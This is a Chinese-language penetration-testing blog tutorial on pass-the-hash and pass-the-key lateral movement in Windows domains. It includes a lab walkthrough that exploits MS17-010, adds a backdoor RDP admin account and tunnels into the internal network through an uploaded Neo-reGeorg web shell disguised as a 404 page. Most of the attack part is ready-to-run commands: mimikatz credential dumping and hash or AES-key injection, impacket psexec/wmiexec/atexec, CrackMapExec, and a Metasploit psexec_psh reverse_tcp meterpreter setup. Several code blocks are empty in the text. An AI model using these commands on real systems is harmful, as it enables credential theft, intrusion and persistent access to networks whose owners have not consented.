内网渗透--PTH与PTK/实战利用
内网渗透–PTH与PTK/实战利用
前言
本章主要介绍PTH+PTK
- PTH 介绍
- PTH 常见攻击方式
- PTK 介绍
- PTK 常见攻击方式
- PTH+PTK 实战
- 主要工具说明
PTH介绍
- PTH: Pass The Hash (哈希传递攻击)
PTH原理
攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,不需要提供明文密码。在Windows系统中,通常会使用NTLM身份认证,NTLM是明文加密后的hash值。PTH是基于SMB服务(445端口)。
前提条件
- 获取某个用户的hash但无法破解明文
- 域环境中存在其它一样密码的大量主机
攻击适用情况
- 在工作组环境中:
- Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Vista 之后的机器,只能是 administrator 用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非 administrator)也不能使用哈希传递攻击,会提示拒绝访问。
- 在域环境中
- 只能是域管理员组内用户(可以是域管理员组内非 administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
PTH攻击模式
- 获取一台域主机高权限
- 利用mimikatz等工具来获取密码hash
- 利用hash尝试登录其它域主机
要完成一个 NTLM 认证,第一步需要客户端将自己要参与认证的用户名发送至服务器端,等待服务器端给出的 Challenge⋯⋯,其实哈希传递就是使用用户名对应的 NTLM Hash 将服务器给出的 Chanllenge 加密,生成一个 Response,来完成认证。
PTH 常见攻击方式
目前常用的 hash 传递工具都是通过 445 端口进行攻击的,也是因为 smb 使用了 ntml 认证,所以导致可以 hash 传递。
Mimikatz
获取hash(需要用管理员权限打开mimikatz)
1 |
|
可以看到是在明文无法破解的情况下获取HASH
然后用mimikatz进行PTH攻击命令:
1 |
|
如图是命令执行成功的效果图,同时会打开一个新的CMD窗口,该窗口拥有访问域控的权限,之后访问远程主机或服务不需要提供明文密码。
Wmiexec
Invoke-WMIExec
1 |
|
wmiexec
wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。
1 |
|
WMIC
wmic /node:host /user:administrator /p 密码 process call create “c:\windows\temp\foobar.exe”
PStools
1 |
|
impacket
1 |
|
Psexec.py
Psexec.py
允许你在远程 Windows 系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程 shell 命令(不需要安装任何客户端软件)。
./psexec.py test/Administrator:Abcd1234@192.168.1.100
Wmiexec.py
它会生成一个使用 Windows Management Instrumentation 的半交互式 shell,并以管理员身份运行。你不需要在目标服务器
./wmiexec.py test/Administrator:Abcd1234@192.168.1.100
Atexec.py
通过 Task Scheduler 服务在目标系统上执行命令,并返回输出结果。
./atexec.py test/Administrator:Abcd1234@192.168.1.100 whoami
Metasploit
利用auxiliary/admin/smb/psexec_command
模块攻击:
1 |
|
pth-winexe
kali 自带的 PTH 套件每个工具都针对 WIN 下相应的 EXE 文件,如使用 Pth-winexe 可以借助哈希执行程序得到一个 cmdshell:
1 |
|
CrackMapExec
cme smb x.x.x.x -u administrator -H xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -x whoami
PTK介绍
- PTK: Pass The Key (密钥传递攻击)
ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
前提条件
- 适用于域环境
- 目标主机需要安装KB2871997补丁
PTK常见攻击方式
mimikatz
1.获得用户的aes key:
1 |
|
2.注入aes key:
mimikatz "privilege::debug" "sekurlsa::pth /user:目标用户名 /domain:目标域名 /aes256:目标aeskey
3.在弹出的cmd窗口中输入net use命令进行测试
net use \\192.168.1.1\c$
wmiexec和crackmapexec同样支持该种方式攻击,可以自行尝试。
PTH+PTK实战介绍
环境准备
- Windows7-A 目标机器A
- Windows7-2 目标
- Kali 攻击机
实战渗透
首先 对目标机器A进行goby扫描
发现目标存在主机漏洞 MS17-010 永恒之蓝,可通过SMB RCE,利用方式如下:
kali利用ms17_010拿下win7-1
1 |
|
添加远程桌面管理员用户组
1 |
|
然后RDP这个test111账户。
连接成功,可以看到该机器外网地址为:10.30.1.64
, 内网地址为:192.168.137.136
内网代理
这里是因为kali攻击选用的一种内网代理工具,如果想windows也可以使用proxifier图形化工具更方便一些。
代理工具 :https://github.com/L-codes/Neo-reGeorg
python3 neoreg.py generate -k password
将得到的tunnel.php上传到目标web服务器
python3 neoreg.py -k password -u http://10.30.1.64/tunnel.php
因为是在kali里攻击的,用proxychains4
1 |
|
- 设置为127.0.0.1:1080
proxychains4 rdesktop 127.0.0.1:3389
成功RDP目标内网。
内网PTH和PTK攻击
然后就是前面讲到的攻击方式,但win7的明文可以直接mimikatz破解获得,可能是版本问题,这里假设获得无法破解的明文。操作同上。
PTK也类似同理。
主要工具说明
Proxifier
项目地址:https://www.proxifier.com/
- 基本使用
添加代理服务器
- Profile-Proxy Servers-Add…-check
显示Proxy is ready to work with Proxfier! 则此步骤配置成功,否则认真检查端口是否正确以及ss是否运行。
- Profile-Proxy Servers-Add…-check
配置代理规则
- Profile-Proxification Rules - Add…
这里含义是,访问任意IP时都会通过刚刚配置的127.0.0.1:10808服务器进行代理访问。注意,代理规则为Direct直连模式
- Profile-Proxification Rules - Add…
设置域名解析
- Profile-Name Resolution
这里设置不需要解析的域名
- Profile-Name Resolution
Mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz
基本使用
- 提权(获取调试权限)
privilege::debug
- 抓取密码
sekurlsa::logonpasswords
- 提权(获取调试权限)
PTH
(工作组)通过 pth 进行远程登录(cmd)
1
2
3
4
5
6
7
8mimikatz.exe privilege::debug
mimikatz.exe privilege::debug "sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希"
mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:192.168.1.1 /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
net use \\192.168.1.1\c$
dir \\192.168.1.1\c$(域)通过 pth 进行远程登录(cmd)
1
2
3
4
5
6mimikatz.exe privilege::debug
mimikatz.exe sekurlsa::logonpasswords
mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash"
mimikatz.exe privilege::debug "sekurlsa::pth /user:win10 /domain:test.com /ntlm:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"通过 pth 进行远程登录(mstsc)
1
2# 管理员权限下执行以下命令:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域 /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"
PTK
域控未打 KB2871997 补丁前,无法使用 Key 传递攻击
1
2
3
4
5
6# 获取用户的 aes key
mimikatz "privilege::debug" "sekurlsa::ekeys"
# 注意查看 aes256_hmac 和 aes128_hmac
mimikatz "privilege::debug" "sekurlsa::pth /user:test /domain:test.com /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"
Metasploit
项目地址:https://www.rapid7.com/products/metasploit/download/
kali有较多种pth攻击工具,下面列出常见的几款:
- smb_login
1
2
3
4
5
6use auxiliary/scanner/smb/smb_login
set rhosts 192.168.1.105 # 目标IP
set user_file user.txt # 目标用户
set pass_file pass.txt # 目标密码
set smbdomain domain # 目标域
exploit - Invoke_smbexec
1
2
3
4
5
6usemodule lateral_movement/invoke_smbexec
set ComputerName WIN-S0V7KMTVLD2.ignite.local # 目标域
set Username Administrator # 目标用户
set Hash 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 # 目标明文
set Listener http # 设置监听类型http
execute - psexec_psh
1
2
3
4
5
6
7
8
9
10use exploit/windows/smb/psexec_psh
set rhosts [ip]
set smbuser [user] # 域中的 PTH 这里不需要写域前缀
set smbpass [password] # 例如: 00000000000000000000000000000000:c780c78872a102256e946b3ad238f661
set payload windows/meterpreter/reverse_tcp
set lhost [ip]
# 工具的参数需要填写固定格式 LM hash:NT hash,可以将 LM hash 填 0(LM hash 可以为任意值),即 00000000000000000000000000000000:NT hash。
exploit
Neo-reGeorg
项目地址: https://github.com/L-codes/Neo-reGeorg
- 示例
生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
python3 neoreg.py generate -k password
使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
python3 neoreg.py -k password -u http://xx/tunnel.php
高阶用法
支持生成的服务端,默认直接请求响应指定的页面内容(如伪装的404页面)
1
2python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
python neoreg.py -k <you_password> -u <server_url> --skip如服务端 WEB,需要设置代理才能访问
python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
如需 Authorization 认证和定制的 Header 或 Cookie
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
需要分散请求,可上传到多个路径上,如内存马
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
开启内网转发,应对负载均衡
python neoreg.py -k <you_password> -u <url> -r <redirect_url>
更多关于性能和稳定性的参数设置参考 -h 帮助信息
生成服务端脚本
python neoreg.py generate -h
连接服务端
python neoreg.py -h
知识总结
本次我们学习了以下知识点
- PTH与PTK的介绍以及常见的攻击方式:Mimikatz、PStools等
- 实战渗透中goby扫描出主机漏洞,利用此漏洞在kali虚拟机下运用代理工具进行内网代理、从而打入内网PTH攻击以达到目的。
- 一些常用的代理、PTH与PTK工具详情介绍
扩展阅读
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!